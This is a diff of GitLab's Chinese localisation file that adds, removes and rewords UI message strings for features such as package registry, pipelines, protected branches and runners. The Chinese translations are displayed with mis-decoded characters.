msgstr "必须匹é…%{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}中的%{codeStart}external_url%{codeEnd}。"
@@ -21669,9 +21360,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr "您确定è¦åˆ é™¤æ­¤ç­–ç•¥å—?此æ“作ä¸èƒ½æ’¤æ¶ˆã€‚"
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr "选择是å¦å¼ºåˆ¶æ­¤ç­–略。"
-
msgid "NetworkPolicies|Create policy"
msgstr "创建策略"
@@ -21720,8 +21408,8 @@ msgstr "å称"
msgid "NetworkPolicies|Namespace"
msgstr "命å空间"
-msgid "NetworkPolicies|Network Policy"
-msgstr "网络政策"
+msgid "NetworkPolicies|Network"
+msgstr ""
msgid "NetworkPolicies|Network traffic"
msgstr "网络æµé‡"
@@ -21777,15 +21465,15 @@ msgstr "规则"
msgid "NetworkPolicies|Save changes"
msgstr "ä¿å­˜æ›´æ”¹"
+msgid "NetworkPolicies|Scan Execution"
+msgstr ""
+
msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr "出现错误,未能更新策略"
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr "出现错误,无法获å–ç­–ç•¥"
-msgid "NetworkPolicies|Status"
-msgstr "状æ€"
-
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr "ä¸åŒ¹é…任何规则的æµé‡å°†è¢«é˜»æ­¢ã€‚"
@@ -21979,9 +21667,6 @@ msgstr "新议题标题"
msgid "New iteration"
msgstr "新迭代"
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr "新的迭代已创建"
@@ -22000,7 +21685,7 @@ msgstr "新里程碑"
msgid "New password"
msgstr "新密ç "
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22309,9 +21994,6 @@ msgstr "未找到相关的åˆå¹¶è¯·æ±‚。"
msgid "No repository"
msgstr "无仓库"
-msgid "No required pipeline"
-msgstr "没有必需的æµæ°´çº¿"
-
msgid "No runner executable"
msgstr "æ— runnerå¯æ‰§è¡Œæ–‡ä»¶"
@@ -22498,9 +22180,6 @@ msgstr "未找到任何信æ¯â€¦"
msgid "Nothing to preview."
msgstr "没有å¯é¢„览的内容。"
-msgid "Nothing to synchronize"
-msgstr "没有è¦åŒæ­¥çš„内容"
-
msgid "Notification events"
msgstr "通知事件"
@@ -22631,9 +22310,6 @@ msgstr "新手"
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr "Nuget元数æ®å¿…须至少设置了license_url,project_url或icon_url"
-msgid "Number of %{itemTitle}"
-msgstr "%{itemTitle}æ•°é‡"
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23268,10 +22944,10 @@ msgstr "包类型必须是PyPi"
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23349,6 +23025,9 @@ msgstr "å¤åˆ¶Nuget设置命令"
msgid "PackageRegistry|Copy Pip command"
msgstr "å¤åˆ¶Pip命令"
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23379,6 +23058,12 @@ msgstr "å¤åˆ¶yarn设置命令"
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr "删除软件包版本"
@@ -23403,9 +23088,6 @@ msgstr "关于PyPi注册表的更多信æ¯ï¼Œ%{linkStart}请è§æ–‡æ¡£%{linkEnd}ã
msgid "PackageRegistry|Generic"
msgstr "通用"
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23457,6 +23139,9 @@ msgstr "NuGet命令"
msgid "PackageRegistry|Package Registry"
msgstr "软件包注册表"
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23466,15 +23151,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr "Pip命令"
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr "å‘布和分享å„ç§å¸¸è§çš„软件包管ç†å·¥å…·æ”¯æŒçš„软件包。 %{docLinkStart}更多信æ¯%{docLinkEnd}"
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr "于%{datetime}å‘布到%{project}软件包注册表"
@@ -23520,6 +23205,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr "对ä¸èµ·ï¼Œæ²¡æœ‰ç¬¦åˆç­›é€‰å™¨çš„任何结果"
@@ -23550,6 +23241,12 @@ msgstr "无法获å–软件包版本信æ¯ã€‚"
msgid "PackageRegistry|Unable to load package"
msgstr "无法加载软件包"
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr "您将è¦åˆ é™¤%{name},此æ“作ä¸å¯é€†ï¼Œç¡®å®šç»§ç»­å—?"
@@ -23742,9 +23439,6 @@ msgstr "æš‚åœ"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr "æš‚åœå¤åˆ¶"
-
msgid "Paused"
msgstr ""
@@ -23949,10 +23643,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "总计:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -23964,9 +23658,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -23976,16 +23667,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24105,10 +23802,10 @@ msgstr "编辑"
msgid "Pipelines|Editor"
msgstr "编辑器"
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24126,12 +23823,18 @@ msgstr "如果您ä¸ç¡®å®šï¼Œè¯·é¡¹ç›®ç»´æŠ¤è€…为您审核。"
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr "建议在使用父项目的CI资æºè¿è¡Œæ­¤æµæ°´çº¿ä¹‹å‰å¯¹ä»£ç è¿›è¡Œè¯¦å°½çš„审核。"
msgid "Pipelines|Last Used"
msgstr "最近使用"
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24243,9 +23946,6 @@ msgstr "无效"
msgid "Pipelines|parent"
msgstr "父级"
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24396,14 +24096,14 @@ msgstr ",包å«é˜¶æ®µ"
msgid "Pipeline|with stages"
msgstr ",包å«é˜¶æ®µ"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "将自动检查的以逗å·åˆ†éš”的分支列表。空白则包括所有分支。"
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
+msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
-msgstr "Pivotal Tracker API令牌。"
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
+msgstr ""
msgid "Plain diff"
msgstr "文本差异"
@@ -24447,12 +24147,12 @@ msgstr "请检查é…置文件以确ä¿å·²å£°æ˜Žäº†ä¸€ç»„图表。"
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr "请检查é…置文件以确ä¿å®ƒå¯ç”¨ä¸”YAML有效"
+msgid "Please check your email %{email} to confirm your account"
+msgstr ""
+
msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr "请检查您的电å­é‚®ä»¶(%{email})以确认您拥有此电å­é‚®ç®±å¹¶è§£é”CI/CD的强大功能。还没收到邮件? %{resend_link}。或是电å­é‚®ä»¶åœ°å€é”™è¯¯ï¼Ÿ%{update_link}。"
-msgid "Please check your email to confirm your account"
-msgstr ""
-
msgid "Please choose a file"
msgstr "请选择一个文件"
@@ -24462,6 +24162,12 @@ msgstr "请选择无特殊字符的群组URL。"
msgid "Please complete your profile with email address"
msgstr "请在您的个人资料中填写电å­é‚®ä»¶åœ°å€"
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr "如果您认为这是一个错误,请è”系您的GitLab 管ç†å‘˜ã€‚"
@@ -25074,6 +24780,9 @@ msgstr "编辑个人资料"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr "输入您的姓å,以便大家认识您"
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25359,9 +25068,6 @@ msgstr "项目%{project_name}将于%{date}被删除"
msgid "Project Access Tokens"
msgstr "项目访问令牌"
-msgid "Project Audit Events"
-msgstr "项目审计事件"
-
msgid "Project Badges"
msgstr "项目徽章"
@@ -25389,6 +25095,9 @@ msgstr "项目已被删除"
msgid "Project and wiki repositories"
msgstr "项目和wiki仓库"
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "项目头åƒ"
@@ -25401,9 +25110,6 @@ msgstr "项目é…置,ä¸åŒ…括集æˆ"
msgid "Project description (optional)"
msgstr "项目æè¿° (å¯é€‰)"
-msgid "Project details"
-msgstr "项目详情"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr "项目ä¸å­˜åœ¨æˆ–您没有æƒé™æ‰§è¡Œæ­¤æ“作"
@@ -25452,15 +25158,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr "由于本地存储ä¸å¯ç”¨ï¼Œå› æ­¤ä¸ä¼šä¿å­˜é¡¹ç›®é¡ºåºã€‚"
-msgid "Project overview"
-msgstr "项目概览"
-
msgid "Project path"
msgstr "项目路径"
-msgid "Project scanning help page"
-msgstr "项目扫æ帮助页é¢"
-
msgid "Project security status"
msgstr "项目安全状æ€"
@@ -25509,9 +25209,6 @@ msgstr "显示更多"
msgid "ProjectLastActivity|Never"
msgstr "从未"
-msgid "ProjectLifecycle|Stage"
-msgstr "阶段"
-
msgid "ProjectOverview|Fork"
msgstr "派生"
@@ -26127,9 +25824,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr "创建空白项目"
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr "从模æ¿åˆ›å»º"
@@ -26145,9 +25839,6 @@ msgstr "导入"
msgid "ProjectsNew|Import project"
msgstr "导入项目"
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr "使用自述文件åˆå§‹åŒ–仓库"
@@ -26232,21 +25923,18 @@ msgstr "找到%{exporters} åŠ %{metrics}"
msgid "PrometheusService|Active"
msgstr "å¯ç”¨"
-msgid "PrometheusService|Auto configuration"
-msgstr "自动é…ç½®"
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "常用指标"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr "常用指标会根æ®åº”用广泛的导出器指标库自动监控。"
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr "自定义指标"
@@ -26262,18 +25950,9 @@ msgstr "查找和é…置指标..."
msgid "PrometheusService|Finding custom metrics..."
msgstr "查找自定义指标..."
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr "在群集上安装Prometheus"
-
msgid "PrometheusService|Manage clusters"
msgstr "管ç†é›†ç¾¤"
@@ -26289,9 +25968,6 @@ msgstr "无环境å˜é‡"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "更多的信æ¯"
@@ -26304,6 +25980,9 @@ msgstr "未找到%{docsUrlStart}通用指标%{docsUrlEnd}"
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "尚未创建自定义指标。使用上é¢çš„按钮创建一个"
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26319,7 +25998,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr "在首次部署到环境之åŽ, 这些指标æ‰ä¼šè¢«ç›‘控"
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26328,6 +26007,9 @@ msgstr "等待首次部署到环境以查找常用指标"
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr "您现在å¯ä»¥åœ¨%{operations_link_start}è¿ç»´%{operations_link_end}页é¢ç®¡ç†æ‚¨çš„Prometheus设置。"
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26337,9 +26019,6 @@ msgstr ""
msgid "Promote"
msgstr "å‡çº§"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr "å°†ç§å¯†è®®é¢˜å‡çº§ä¸ºéžç§å¯†å²è¯—"
-
msgid "Promote issue to an epic"
msgstr "将议题å‡çº§ä¸ºå²è¯—"
@@ -26358,9 +26037,6 @@ msgstr "项目ä¸å±žäºŽä»»ä½•ä¸€ä¸ªç¾¤ç»„。"
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr "å‡çº§å¤±è´¥ - %{message}"
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr "å°†ç§å¯†é—®é¢˜å‡çº§ä¸ºéžç§å¯†å²è¯—。由于å²è¯—对群组æˆå‘˜å…¬å¼€ï¼Œå› æ­¤æ­¤è®®é¢˜ä¸­çš„ä¿¡æ¯ä¸å†æ˜¯ç§å¯†çš„。"
-
msgid "Promoted issue to an epic."
msgstr "将议题å‡çº§ä¸ºå²è¯—."
@@ -26484,13 +26160,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26511,12 +26190,21 @@ msgstr "分支"
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr "代ç æ‰€æœ‰è€…批准"
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr "ä¿æŠ¤"
@@ -26526,6 +26214,9 @@ msgstr "ä¿æŠ¤åˆ†æ”¯"
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr "å—ä¿æŠ¤åˆ†æ”¯ (%{protected_branches_count})"
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26535,12 +26226,15 @@ msgstr "需è¦ä»£ç æ‰€æœ‰è€…的批准:"
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "当å‰æ²¡æœ‰å—ä¿æŠ¤çš„分支,请使用上述表å•æ¥ä¿æŠ¤åˆ†æ”¯ã€‚"
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr "切æ¢ä»£ç æ‰€æœ‰è€…的批准"
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} 将对开å‘人员å¯å†™ã€‚确定继续å—?"
@@ -26586,18 +26280,30 @@ msgstr "您的环境已å—到ä¿æŠ¤ã€‚"
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr "环境已ç»ä¸è¢«ä¿æŠ¤"
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
-msgstr "åè®®"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
-msgid "Provide feedback"
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "æ供者"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27001,6 +26707,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr "使用åŒé‡è®¤è¯åº”用注册"
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr "支付"
@@ -27028,6 +26737,9 @@ msgstr "已拒ç»(关闭)"
msgid "Related Issues"
msgstr "相关议题"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr "相关议题"
@@ -27206,6 +26918,9 @@ msgstr "删除许å¯è¯"
msgid "Remove limit"
msgstr "去除é™åˆ¶"
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr "删除列表"
@@ -27221,15 +26936,9 @@ msgstr "删除æˆå‘˜"
msgid "Remove milestone"
msgstr "删除里程碑"
-msgid "Remove node"
-msgstr "删除节点"
-
msgid "Remove parent epic from an epic"
msgstr "从å²è¯—中移除父å²è¯—"
-msgid "Remove primary node"
-msgstr "删除主节点"
-
msgid "Remove priority"
msgstr "删除优先级"
@@ -27245,9 +26954,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr "删除次è¦èŠ‚点"
-
msgid "Remove spent time"
msgstr "删除消耗时间"
@@ -27395,15 +27101,18 @@ msgstr "é‡æ–°æ‰“å¼€%{quick_action_target}。"
msgid "Reopens this %{quick_action_target}."
msgstr "é‡æ–°æ‰“å¼€%{quick_action_target}。"
-msgid "Repair authentication"
-msgstr "ä¿®å¤è®¤è¯"
-
msgid "Replace"
msgstr "替æ¢"
+msgid "Replace %{name}"
+msgstr ""
+
msgid "Replace all label(s)"
msgstr "替æ¢æ‰€æœ‰æ ‡è®°"
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr "已将所有标记替æ¢ä¸º%{label_references}%{label_text}。"
@@ -27413,15 +27122,6 @@ msgstr "替æ¢å…‹éš†URL根地å€ã€‚"
msgid "Replication"
msgstr "å¤åˆ¶"
-msgid "Replication details"
-msgstr "å¤åˆ¶è¯¦æƒ…"
-
-msgid "Replication enabled"
-msgstr "å¤åˆ¶å·²å¯ç”¨"
-
-msgid "Replication paused"
-msgstr "å¤åˆ¶å·²æš‚åœ"
-
msgid "Reply by email"
msgstr "通过电å­é‚®ä»¶å›žå¤"
@@ -27815,6 +27515,9 @@ msgstr[0] "éœ€è¦ %d 个核准"
msgid "Requires values to meet regular expression requirements."
msgstr "需è¦å€¼åŒ¹é…正则表达å¼ã€‚"
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -27965,12 +27668,6 @@ msgstr "æ¢å¤"
msgid "Resync"
msgstr "é‡æ–°åŒæ­¥"
-msgid "Resync all"
-msgstr "é‡æ–°åŒæ­¥æ‰€æœ‰"
-
-msgid "Resync all %{replicableType}"
-msgstr "é‡æ–°åŒæ­¥æ‰€æœ‰%{replicableType}"
-
msgid "Retry"
msgstr "é‡è¯•"
@@ -27986,9 +27683,6 @@ msgstr "é‡è¯•å½“å‰ä½œä¸š"
msgid "Retry this job in order to create the necessary resources."
msgstr "é‡è¯•æ­¤ä½œä¸šä»¥åˆ›å»ºå¿…è¦çš„资æºã€‚"
-msgid "Retry update"
-msgstr "é‡è¯•æ›´æ–°"
-
msgid "Retry verification"
msgstr "é‡è¯•éªŒè¯"
@@ -28081,6 +27775,9 @@ msgstr "添加"
msgid "RightSidebar|deleting the"
msgstr "删除"
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "路线图"
@@ -28090,9 +27787,6 @@ msgstr "角色"
msgid "Rollback"
msgstr "回滚"
-msgid "Rook"
-msgstr "Rook"
-
msgid "Ruby"
msgstr "Ruby"
@@ -28159,12 +27853,21 @@ msgstr "Runner页é¢."
msgid "Runners|Active"
msgstr "å¯ç”¨"
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr "架构"
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr "å¯ä»¥è¿è¡Œæœªæ ‡è®°çš„作业"
@@ -28174,6 +27877,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr "æè¿°"
@@ -28183,9 +27889,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr "IP地å€"
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28198,9 +27913,15 @@ msgstr "é”定到此项目"
msgid "Runners|Maximum job timeout"
msgstr "最大作业超时"
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr "å称"
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28243,12 +27964,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr "标签"
@@ -28279,6 +28006,12 @@ msgstr "版本"
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28357,6 +28090,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr "SSH密钥用于在您的电脑和GitLab建立安全连接。"
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "SSH公钥"
